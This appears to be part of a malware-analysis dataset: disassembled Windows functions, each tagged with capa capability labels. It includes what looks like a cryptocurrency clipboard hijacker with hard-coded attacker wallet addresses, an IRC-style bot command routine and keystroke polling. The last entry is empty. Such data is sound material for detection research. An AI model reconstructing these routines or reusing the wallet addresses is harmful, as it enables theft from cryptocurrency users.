joyce8/EMBER2024-capa huggingface dataset:
Function at 0x101a961
Capabilities:
Log keystrokes via polling

Disassembly:
mov edi, edi
push ebx
push edi
mov ebx, ecx
call fcn.0100965c
xor edi, edi
cmp dword [0x103ed08], edi
mov dword [0x103ede4], edi
mov dword [0x103ede0], edi
je 0x101a996
mov ecx, ebx
call fcn.01018cf8
pop edi
mov dword [0x103ecf8], 1
pop ebx
ret
push esi
mov esi, dword [0x103d74c]
call dword [sym.imp.USER32.dll_GetCapture]
push eax
call sub.MFC42u.DLL_CWnd::FromHandle
cmp eax, ebx
je 0x101a9ec
cmp dword [esi + 0x20], edi
jne 0x101a9ec
cmp dword [esi + 0x14], edi
jne 0x101a9e2
mov eax, dword [0x103d74c]
mov eax, dword [eax + 0x30]
cmp eax, 0x26c
je 0x101a9e2
cmp eax, 0x26d
je 0x101a9e2
cmp eax, 0x1aa0
je 0x101a9e2
cmp eax, 0x278
je 0x101a9e2
cmp eax, 0x26e
jne 0x101aa2d
mov eax, dword [esi]
push ebx
mov ecx, esi
call dword [eax + 0x38]
jmp 0x101aa2d
mov esi, dword [0x103e7dc]
xor ecx, ecx
push ecx
xor eax, eax
push eax
push edi
push 0x400
mov ecx, ebx
call fcn.0101ba61
push 0x7f16
push edi
call dword [sym.imp.USER32.dll_LoadCursorW]
push eax
call dword [sym.imp.USER32.dll_SetCursor]
cmp esi, edi
jne 0x101aa23
mov ecx, ebx
call fcn.01019732
mov dword [0x103ecf8], 1
mov esi, dword [sym.imp.USER32.dll_GetKeyState]
xor edi, edi
inc edi
push edi
call esi
test ax, ax
jl 0x101aa47
push 2
call esi
test ax, ax
jge 0x101aa4d
mov dword [0x103ecf8], edi
pop esi
pop edi
pop ebx
jmp fcn.010195c2
Function at 0x101edae
Capabilities:
Accept command line arguments

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x10
and dword [ebp - 8], 0
push ebx
push esi
lea eax, [ebp - 0xc]
push eax
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
xor ebx, ebx
inc ebx
cmp dword [ebp - 0xc], ebx
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], ebx
jle 0x101eeb9
push edi
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 4]
lea edi, [eax + ecx*4]
push 0x10047fc
push dword [edi]
call fcn.0101ed78
test eax, eax
je 0x101ee09
mov dword [esi + 0x154], ebx
mov dword [ebp - 8], ebx
jmp 0x101eea9
push 0x10047f8
push dword [edi]
call fcn.0101ed78
test eax, eax
je 0x101ee24
mov dword [esi + 0x154], ebx
jmp 0x101eea9
push 0x10047f0
push dword [edi]
call fcn.0101ed78
test eax, eax
je 0x101ee3c
mov dword [esi + 0x168], ebx
jmp 0x101eea9
mov eax, dword [esi + 0x168]
xor edx, edx
cmp eax, edx
je 0x101ee69
lea ecx, [esi + 0x16c]
mov edx, dword [ecx]
cmp dword [edx - 8], 0
je 0x101eea2
xor edx, edx
cmp eax, edx
je 0x101ee69
lea ecx, [esi + 0x170]
mov eax, dword [ecx]
cmp dword [eax - 8], edx
je 0x101eea2
lea ecx, [esi + 0x158]
mov eax, dword [ecx]
cmp dword [eax - 8], edx
je 0x101eea2
cmp dword [ebp - 8], edx
je 0x101eea9
lea ecx, [esi + 0x15c]
mov eax, dword [ecx]
cmp dword [eax - 8], edx
je 0x101eea2
lea ecx, [esi + 0x160]
mov eax, dword [ecx]
cmp dword [eax - 8], edx
je 0x101eea2
lea ecx, [esi + 0x164]
mov eax, dword [ecx]
cmp dword [eax - 8], edx
jne 0x101eea9
push dword [edi]
call sub.MFC42u.DLL_CString::operator_1
inc dword [ebp - 4]
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 0xc]
jl 0x101ede2
pop edi
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_GlobalFree]
pop esi
pop ebx
leave
ret

Function at 0x10223ea
Capabilities:
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0xc
push esi
push edi
xor esi, esi
xor edi, edi
cmp dword [ecx + 0x44], esi
je 0x1022468
mov ecx, dword [ecx + 0x40]
mov eax, dword [ecx + 0x24]
cmp dword [eax - 8], esi
jne 0x1022411
mov eax, dword [ecx]
call dword [eax + 0x60]
test eax, eax
je 0x1022468
lea eax, [ebp - 4]
push eax
xor edi, edi
inc edi
push edi
push esi
push 0x1005078
push 0x80000001
mov dword [ebp - 4], esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1022468
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push esi
push esi
push 0x100504c
push dword [ebp - 4]
mov dword [ebp - 8], esi
mov dword [ebp - 0xc], 4
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x102245f
cmp dword [ebp - 8], esi
sete al
mov edi, eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
pop edi
pop esi
leave
ret
Function at 0x10224b4
Capabilities:
Change the wallpaper
Set registry value

Disassembly:
mov eax, 0x1036934
call fcn.01034e18
sub esp, 0xc
push ebx
push esi
mov esi, dword [ecx + 0x40]
push edi
lea edi, [esi + 0x24]
push edi
lea ecx, [ebp - 0x10]
call sub.MFC42u.DLL_CString::CString_3
mov eax, dword [ebp - 0x10]
xor ebx, ebx
cmp dword [eax - 8], ebx
mov dword [ebp - 4], ebx
je 0x10224b2
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 0x60]
test eax, eax
jne 0x10224b2
cmp dword [esi + 0x104], ebx
je 0x10224f5
push 0xffffffffffffffff
push 0x31
push 0x1b91
call sub.MFC42u.DLL_AfxMessageBox
dec eax
je 0x10224db
dec eax
je 0x102257a
push 1
mov ecx, 0x103ee08
call fcn.0101f3a4
jmp 0x102257a
mov ecx, esi
call fcn.0101ce65
push edi
lea ecx, [ebp - 0x10]
mov esi, eax
call sub.MFC42u.DLL_CString::operator
cmp esi, ebx
je 0x102257a
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
push ebx
push 0xf003f
push ebx
push 0x1001f64
push ebx
push 0x100511c
push 0x80000001
mov dword [ebp - 0x14], ebx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x102254d
cmp dword [ebp + 8], ebx
mov eax, 0x1005118
jne 0x1022530
mov eax, 0x10020d4
push 4
push eax
push 1
push ebx
push 0x10050fc
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x10]
mov eax, dword [eax - 8]
push 3
push eax
lea ecx, [ebp - 0x10]
call sub.MFC42u.DLL_CString::GetBuffer
push eax
xor eax, eax
cmp dword [ebp + 8], ebx
setne al
push eax
push 0x14
call dword [sym.imp.USER32.dll_SystemParametersInfoW]
push 0xffffffffffffffff
lea ecx, [ebp - 0x10]
call sub.MFC42u.DLL_CString::ReleaseBuffer
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x10]
call sub.MFC42u.DLL_CString::CString
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 4
Function at 0x103007c
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x8c0
mov eax, dword [0x103e6bc]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x18]
push ebx
mov ebx, dword [ebp + 0x10]
mov dword [ebp - 0x8b8], eax
mov eax, dword [ebp + 0x20]
push esi
mov dword [ebp - 0x8bc], eax
mov eax, dword [ebp + 0x28]
push edi
xor edi, edi
cmp dword [ebp + 8], edi
mov dword [ebp - 0x8b0], eax
mov dword [eax], edi
mov dword [ebp - 0x8b4], edi
mov eax, 0x1007028
jne 0x10300c9
mov eax, 0x1007098
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
lea ecx, [ebp - 0x8a8]
push ecx
push eax
push 0x80000002
call esi
test eax, eax
jne 0x103021a
push 0x50
lea eax, [ebp - 0xa4]
push eax
push dword [ebp + 0xc]
push dword [ebp - 0x8a8]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyW]
test eax, eax
jne 0x103020e
lea eax, [ebp - 0x8ac]
push eax
lea eax, [ebp - 0xa4]
push eax
push dword [ebp - 0x8a8]
call esi
test eax, eax
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
jne 0x1030199
cmp ebx, edi
je 0x1030141
lea eax, [ebp + 0x14]
push eax
push ebx
push edi
push edi
push 0x1007108
push dword [ebp - 0x8ac]
mov word [ebx], di
call esi
mov eax, dword [ebp - 0x8b8]
cmp eax, edi
je 0x1030162
lea ecx, [ebp + 0x1c]
push ecx
push eax
push edi
push edi
push 0x1007120
push dword [ebp - 0x8ac]
mov word [eax], di
call esi
mov eax, dword [ebp - 0x8bc]
cmp eax, edi
je 0x1030183
lea ecx, [ebp + 0x24]
push ecx
push eax
push edi
push edi
push 0x1007114
push dword [ebp - 0x8ac]
mov word [eax], di
call esi
push dword [ebp - 0x8ac]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [ebp - 0x8b4], 1
lea eax, [ebp - 0x8c0]
push eax
lea eax, [ebp - 0x8a4]
push eax
push edi
push edi
push 0x1007138
push dword [ebp - 0x8a8]
mov dword [ebp - 0x8c0], 0x800
call esi
test eax, eax
jne 0x103020e
mov esi, dword [sym.imp.msvcrt.dll_wcstok]
mov ebx, 0x1002824
push ebx
lea eax, [ebp - 0x8a4]
push eax
jmp 0x1030206
mov ecx, dword [ebp - 0x8b0]
cmp dword [ecx], 1
je 0x103020e
lea ecx, [ebp - 0xa4]
push ecx
push eax
call dword [sym.imp.msvcrt.dll__wcsicmp]
test eax, eax
pop ecx
pop ecx
jne 0x1030204
mov eax, dword [ebp - 0x8b0]
mov dword [eax], 1
push ebx
push edi
call esi
cmp eax, edi
pop ecx
pop ecx
jne 0x10301d9
push dword [ebp - 0x8a8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x8b4]
pop edi
pop esi
pop ebx
call fcn.01032f53
leave
ret 0x24
Function at 0x1031f7b
Capabilities:
Create thread
Terminate thread

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x28
mov ecx, dword [ebp + 8]
push esi
call fcn.01031a68
xor esi, esi
cmp eax, esi
jne 0x1032068
lea eax, [ebp - 0xc]
push eax
push esi
push dword [ebp + 8]
push 0x1031aff
push esi
push esi
call dword [sym.imp.msvcrt.dll__beginthreadex]
add esp, 0x18
cmp eax, esi
mov dword [ebp - 4], eax
jne 0x1031fdb
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
call esi
test eax, eax
jg 0x1031fca
call esi
jmp 0x1032068
call esi
and eax, 0xffff
or eax, 0x80070000
jmp 0x1032068
push ebx
push edi
mov edi, dword [sym.imp.USER32.dll_MsgWaitForMultipleObjects]
mov ebx, 0x4ff
jmp 0x103201b
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageW]
push 1
push esi
push esi
lea eax, [ebp - 0x28]
push esi
push eax
call dword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
jne 0x1031fea
mov ecx, 0x103ee08
call sub.MFC42u.DLL_CCmdTarget::RestoreWaitCursor
push ebx
push 0xffffffffffffffff
push esi
lea eax, [ebp - 4]
push eax
push 1
call edi
cmp eax, 1
je 0x1031ffe
lea eax, [ebp - 8]
push eax
push dword [ebp - 4]
mov dword [ebp - 8], 1
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
cmp dword [ebp - 8], 0x103
pop edi
pop ebx
jne 0x103205c
push esi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov dword [ebp - 8], 0x80004005
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 8]
pop esi
leave
ret 4
Function at 0x1034bbf
Capabilities:
Parse pe header
Terminate process

Disassembly:
push 0x70
push 0x1007400
call fcn.01034fdc
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
cmp word [eax], 0x5a4d
jne 0x1034bfa
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1034bfa
movzx eax, word [ecx + 0x18]
cmp eax, 0x10b
je 0x1034c12
cmp eax, 0x20b
je 0x1034bff
mov dword [ebp - 0x1c], edi
jmp 0x1034c26
cmp dword [ecx + 0x84], 0xe
jbe 0x1034bfa
xor eax, eax
cmp dword [ecx + 0xf8], edi
jmp 0x1034c20
cmp dword [ecx + 0x74], 0xe
jbe 0x1034bfa
xor eax, eax
cmp dword [ecx + 0xe8], edi
setne al
mov dword [ebp - 0x1c], eax
mov dword [ebp - 4], edi
push 2
pop ebx
push ebx
call dword [sym.imp.msvcrt.dll___set_app_type]
pop ecx
or dword [0x103f47c], 0xffffffff
or dword [0x103f480], 0xffffffff
call dword [sym.imp.msvcrt.dll___p__fmode]
mov ecx, dword [0x103f44c]
mov dword [eax], ecx
call dword [sym.imp.msvcrt.dll___p__commode]
mov ecx, dword [0x103f448]
mov dword [eax], ecx
mov eax, dword [sym.imp.msvcrt.dll__adjust_fdiv]
mov eax, dword [eax]
mov dword [0x103f478], eax
call fcn.010350b0
cmp dword [0x103e6c0], edi
jne 0x1034c83
push fcn.010350b0
call dword [sym.imp.msvcrt.dll___setusermatherr]
pop ecx
call fcn.01035099
push 0x103d0a8
push 0x103d0a4
call sub.msvcrt.dll__initterm
mov eax, dword [0x103f444]
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x24]
push eax
push dword [0x103f440]
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.msvcrt.dll___wgetmainargs]
mov dword [ebp - 0x38], eax
push 0x103d0a0
push section..data
call sub.msvcrt.dll__initterm
add esp, 0x24
mov eax, dword [sym.imp.msvcrt.dll__wcmdln]
mov esi, dword [eax]
cmp esi, edi
jne 0x1034ce9
or dword [ebp - 4], 0xffffffff
mov eax, 0xff
jmp 0x1034da3
mov dword [ebp - 0x20], esi
cmp word [esi], 0x22
jne 0x1034d37
add esi, ebx
mov dword [ebp - 0x20], esi
mov ax, word [esi]
cmp ax, di
je 0x1034d05
cmp ax, 0x22
jne 0x1034cf2
cmp word [esi], 0x22
jne 0x1034d10
add esi, ebx
mov dword [ebp - 0x20], esi
mov ax, word [esi]
cmp ax, di
je 0x1034d1e
cmp ax, 0x20
jbe 0x1034d0b
mov dword [ebp - 0x54], edi
lea eax, [ebp - 0x80]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
test byte [ebp - 0x54], 1
je 0x1034d44
movzx eax, word [ebp - 0x50]
jmp 0x1034d47
cmp word [esi], 0x20
jbe 0x1034d10
add esi, ebx
mov dword [ebp - 0x20], esi
jmp 0x1034d37
push 0xa
pop eax
push eax
push esi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call fcn.0103570e
mov esi, eax
mov dword [ebp - 0x3c], esi
cmp dword [ebp - 0x1c], edi
jne 0x1034d68
push esi
call dword [sym.imp.msvcrt.dll_exit]
call dword [sym.imp.msvcrt.dll__cexit]
jmp 0x1034d9d
or dword [ebp - 4], 0xffffffff
mov eax, esi
call fcn.01035017
ret
Function at 0x10350e7
Capabilities:
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
lea eax, [ebp - 4]
push eax
push 0x20019
xor esi, esi
push esi
push 0x1007478
push 0x80000000
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x103513f
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
mov dword [ebp - 8], 0x104
push esi
push esi
push 0x10074b4
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1035132
inc esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
jmp 0x1035141
xor eax, eax
pop esi
leave
ret 4
Function at 0x401000
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push esi
call sub.MSVCRT.dll_strlen
mov ebx, eax
mov al, byte [esi]
pop ecx
cmp al, 0x31
je 0x401054
cmp al, 0x33
je 0x401054
cmp al, 0x42
je 0x401054
cmp al, 0x32
je 0x401054
cmp al, 0x58
je 0x401054
cmp al, 0x44
je 0x401054
cmp al, 0x45
je 0x401054
cmp al, 0x30
je 0x401054
cmp al, 0x4c
je 0x401054
cmp al, 0x34
je 0x40106d
cmp al, 0x50
je 0x401054
cmp al, 0x41
je 0x401054
cmp al, 0x52
je 0x401054
cmp al, 0x72
je 0x401054
cmp al, 0x74
je 0x401054
cmp al, 0x7a
jne 0x401066
cmp al, 0x34
je 0x40106d
cmp al, 0x32
je 0x40106d
cmp ebx, 0x19
jb 0x401066
cmp ebx, 0x2d
jbe 0x401075
xor al, al
pop edi
pop esi
pop ebx
pop ebp
ret
lea eax, [ebx - 0x5a]
cmp eax, 0x19
ja 0x401066
xor edi, edi
test ebx, ebx
jbe 0x4010ac
mov al, byte [edi + esi]
cmp al, 0x4f
je 0x401066
cmp al, 0x49
je 0x401066
cmp al, 0x6c
je 0x401066
movsx eax, al
push eax
call sub.MSVCRT.dll_isalpha
pop ecx
test eax, eax
jne 0x4010a7
movsx eax, byte [edi + esi]
push eax
call sub.MSVCRT.dll_isdigit
pop ecx
test eax, eax
je 0x401066
inc edi
cmp edi, ebx
jb 0x40107b
mov al, byte [esi]
cmp al, 0x31
je 0x4010b6
cmp al, 0x33
jne 0x4010bd
mov ebx, str.1of6uEzx5qfStF1HrVXaZ1eE3X4ntnbsx
jmp 0x4010c0
mov ebx, dword [ebp + 8]
cmp al, 0x42
jne 0x4010c9
mov ebx, str.B5f1bkbcmXzwZtL5ua5HYFHKxFz3HFcNi8
cmp al, 0x32
jne 0x4010d2
mov ebx, str.29QERSwMrnwMJgX5ZTeDPYhXXpu9TrarhTpu4KhDVwpqADSRevDoswWFr6MNqj3PGR4PGXzCGYQw7UemxRoRxCC97rFhM4i
cmp al, 0x58
jne 0x4010db
mov ebx, str.Xt4JuKUf9dguJDf3A2YkvwQvfMPwfZDZRC
cmp al, 0x44
jne 0x4010e4
mov ebx, str.DHDUtYKHtEU9w9Scyan47L2YhKiVqhpXxH
cmp al, 0x45
jne 0x4010ed
mov ebx, str.EcqcbRssS5tMx1WKAVeT2KUcFWaWueywoz
cmp al, 0x30
jne 0x4010f6
mov ebx, str.0xff8c5843e7abe2708037fc1acdca83b37466a299
cmp al, 0x4c
jne 0x4010ff
mov ebx, str.LMimQj9RBdYbDTsV6k37TneN2Svi4e1PXF
cmp al, 0x34
jne 0x401108
mov ebx, str.4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQm7QWX9mxQh4goy76E
cmp al, 0x50
jne 0x401111
mov ebx, str.PRXRECu2m4gXtYFYPDpVAmYr5qM4u6UECk
cmp al, 0x41
jne 0x40111a
mov ebx, str.AKBNVh2tNHcu7qmjoVpRaQY2a3kAMXGGpG
cmp al, 0x52
jne 0x401123
mov ebx, str.RdqeCeP77xzR8UQSnTzaAWsBHHQFxoB9jp
cmp al, 0x72
jne 0x40112c
mov ebx, str.rDZuXsbdCUQEpq5cSAuE26vUiYhkew1aVs
cmp al, 0x74
je 0x401134
cmp al, 0x7a
jne 0x401139
mov ebx, str.t1Rax46ZbrUbKNk7LnqgNmg6XRy9hnULTiN
push ebx
call sub.MSVCRT.dll_strlen
pop ecx
lea esi, [eax + 1]
push esi
push 0x2002
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov edi, eax
push edi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push esi
push ebx
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push edi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x40118b
call dword [sym.imp.USER32.dll_EmptyClipboard]
push edi
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
call dword [sym.imp.USER32.dll_CloseClipboard]
mov al, 1
jmp 0x401068
Function at 0x4021a4
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x240
push ebx
push esi
push 0x3f
pop esi
xor ebx, ebx
push esi
lea eax, [ebp - 0x3f]
push ebx
push eax
mov byte [ebp - 0x40], bl
call sub.MSVCRT.dll_memset
mov eax, dword [ebp + 0xc]
add esp, 0xc
cmp eax, ebx
jne 0x4021d4
push esi
push str.NICK
jmp 0x402204
cmp eax, 1
jne 0x4021f9
push esi
lea eax, [ebp - 0x40]
push str.USER
push eax
call sub.MSVCRT.dll_strncpy
push dword [ebp + 0x10]
lea eax, [ebp - 0x40]
push dword [ebp + 0x10]
push eax
push str._s__s_____x__:_s_r_n
jmp 0x402277
cmp eax, 2
jne 0x40222f
push esi
push str.PONG
lea eax, [ebp - 0x40]
push eax
call sub.MSVCRT.dll_strncpy
push dword [ebp + 0x10]
lea eax, [ebp - 0x40]
push eax
push str._s__s_r_n
lea eax, [ebp - 0x240]
push 0x1ff
push eax
call sub.MSVCRT.dll__snprintf
add esp, 0x20
jmp 0x40228b
cmp eax, 3
jne 0x402254
push esi
lea eax, [ebp - 0x40]
push str.JOIN
push eax
call sub.MSVCRT.dll_strncpy
push dword [ebp + 0x14]
lea eax, [ebp - 0x40]
push dword [ebp + 0x10]
push eax
push str._s__s__s_r_n
jmp 0x402277
cmp eax, 4
jne 0x4022d4
push esi
lea eax, [ebp - 0x40]
push str.PRIVMSG
push eax
call sub.MSVCRT.dll_strncpy
push dword [ebp + 0x10]
lea eax, [ebp - 0x40]
push dword [ebp + 0x14]
push eax
push str._s__s_:_s_r_n
lea eax, [ebp - 0x240]
push 0x1ff
push eax
call sub.MSVCRT.dll__snprintf
add esp, 0x24
push 0x40
lea eax, [ebp - 0x40]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x240]
push ebx
push eax
call sub.MSVCRT.dll_strlen
pop ecx
push eax
lea eax, [ebp - 0x240]
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_send]
push 0x200
mov esi, eax
lea eax, [ebp - 0x240]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov eax, esi
jmp 0x4022d6
xor eax, eax
pop esi
pop ebx
leave
ret
Function at 0x4029a9
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x800
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
test edi, edi
jbe 0x402a52
push 0x800
xor esi, esi
lea eax, [ebp - 0x800]
push esi
push eax
call sub.MSVCRT.dll_memset
push edi
call fcn.00402319
mov ebx, eax
add esp, 0x10
test ebx, ebx
jle 0x402a4e
cmp esi, 0x7ff
je 0x402a20
push 0
push 1
lea eax, [ebp + esi - 0x800]
push eax
push edi
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x402a4a
add esi, eax
mov al, byte [ebp + esi - 0x801]
cmp al, 0xd
je 0x402a20
cmp al, 0xa
je 0x402a20
push edi
call fcn.00402319
mov ebx, eax
pop ecx
test ebx, ebx
jg 0x4029e3
test ebx, ebx
jle 0x402a4e
cmp esi, 2
jl 0x4029c0
lea eax, [ebp - 0x800]
push eax
push edi
mov byte [ebp + esi - 0x801], 0
call fcn.00402829
pop ecx
pop ecx
test eax, eax
jge 0x4029c0
jmp 0x402a54
xor eax, eax
jmp 0x402a54
mov eax, ebx
jmp 0x402a54
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x402f69
Capabilities:
Copy file
Create process on windows
Delete file
Move file

Disassembly:
sub esp, 0x5c
push ebx
mov ebx, dword [sym.imp.USER32.dll_FindWindowA]
push ebp
push esi
push edi
mov dword [esp + 0x14], 0x2382
mov esi, 0x406869
mov edi, 0x404aec
mov ebp, dword [sym.imp.KERNEL32.dll_DeleteFileA]
push esi
call ebp
push 0
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0
push str.gihifhroshghrsgs
call ebx
mov dword [esp + 0x10], eax
test eax, eax
je 0x402fc7
push eax
call dword [sym.imp.USER32.dll_CloseWindow]
push dword [esp + 0x10]
call dword [sym.imp.USER32.dll_SetFocus]
push dword [esp + 0x10]
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0
push str.goirhgohrsgi
call ebx
test eax, eax
je 0x402fe7
push esi
call ebp
push esi
call ebp
push 0
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0
push str.gihifhroshghrsgs
call ebx
mov ebp, eax
test ebp, ebp
je 0x403028
push ebp
call dword [sym.imp.USER32.dll_CloseWindow]
push ebp
call dword [sym.imp.USER32.dll_SetFocus]
push ebp
call dword [sym.imp.USER32.dll_SetForegroundWindow]
dec dword [esp + 0x14]
jne 0x402f88
push 0x44
pop edi
push edi
xor esi, esi
lea eax, [esp + 0x2c]
push esi
push eax
call sub.MSVCRT.dll_memset
push 0x10
lea eax, [esp + 0x28]
push esi
push eax
call sub.MSVCRT.dll_memset
add esp, 0x18
push 5
pop eax
mov word [esp + 0x58], ax
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x2c]
push eax
push esi
push esi
push 0x20
push esi
push esi
push esi
push dword [esp + 0x90]
mov dword [esp + 0x4c], edi
push esi
mov dword [esp + 0x7c], 1
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x5c
ret
Function at 0x40308e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov dx, word [ebp + 0x10]
xor ecx, ecx
sub esp, 0x3c
xor eax, eax
cmp cx, dx
jae 0x4030ad
lea ecx, [ebp - 0x3c]
mov byte [ecx], al
inc eax
inc ecx
cmp ax, dx
jb 0x4030a4
push ebx
xor eax, eax
push esi
push edi
cmp ax, dx
jae 0x4030ff
movzx eax, dx
xor edi, edi
mov dword [ebp - 4], eax
xor ebx, ebx
mov dword [ebp - 8], eax
movzx esi, byte [ebp + 0x14]
mov eax, ebx
cdq
idiv esi
mov eax, dword [ebp + 8]
lea ecx, [ebp + ebx - 0x3c]
movsx edx, byte [edx + eax]
movzx eax, byte [ecx]
add edx, edi
add eax, edx
cdq
idiv dword [ebp - 4]
movzx eax, dx
movzx edi, ax
lea esi, [ebp + edi - 0x3c]
mov al, byte [esi]
xor al, byte [ecx]
mov byte [ecx], al
xor byte [esi], al
mov al, byte [esi]
xor byte [ecx], al
inc ebx
dec dword [ebp - 8]
jne 0x4030c4
mov esi, dword [ebp + 0xc]
cmp byte [esi], 0
je 0x40315a
movzx eax, word [ebp + 0x10]
xor edi, edi
xor ebx, ebx
mov dword [ebp - 4], eax
lea eax, [edi + 1]
cdq
idiv dword [ebp - 4]
movzx eax, dx
movzx edi, ax
lea ecx, [ebp + edi - 0x3c]
movzx eax, byte [ecx]
add eax, ebx
cdq
idiv dword [ebp - 4]
movzx eax, dx
movzx ebx, ax
lea edx, [ebp + ebx - 0x3c]
mov al, byte [edx]
xor byte [ecx], al
mov al, byte [ecx]
xor byte [edx], al
mov al, byte [edx]
xor byte [ecx], al
movzx eax, byte [ecx]
movzx ecx, byte [edx]
add eax, ecx
cdq
idiv dword [ebp - 4]
mov al, byte [ebp + edx - 0x3c]
xor byte [esi], al
inc esi
cmp byte [esi], 0
jne 0x403112
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40315f
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
push esi
push edi
mov esi, 0x208
push esi
xor edi, edi
lea eax, [ebp - 0x208]
push edi
push eax
call sub.MSVCRT.dll_memset
push esi
lea eax, [ebp - 0x410]
push edi
push eax
call sub.MSVCRT.dll_memset
add esp, 0x18
push esi
lea eax, [ebp - 0x208]
push eax
push str._appdata_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea eax, [ebp - 0x208]
push eax
push str._lswinmgr.txt
lea eax, [ebp - 0x410]
push esi
push eax
call sub.MSVCRT.dll__snwprintf
add esp, 0x10
push edi
push 2
push 2
push edi
push edi
push 0x40000000
lea eax, [ebp - 0x410]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x4031f7
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x4031f7
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
jmp 0x4031f9
xor al, al
pop edi
pop esi
leave
ret

Function at 0x4031fd
Capabilities:
Get common file path

Disassembly:
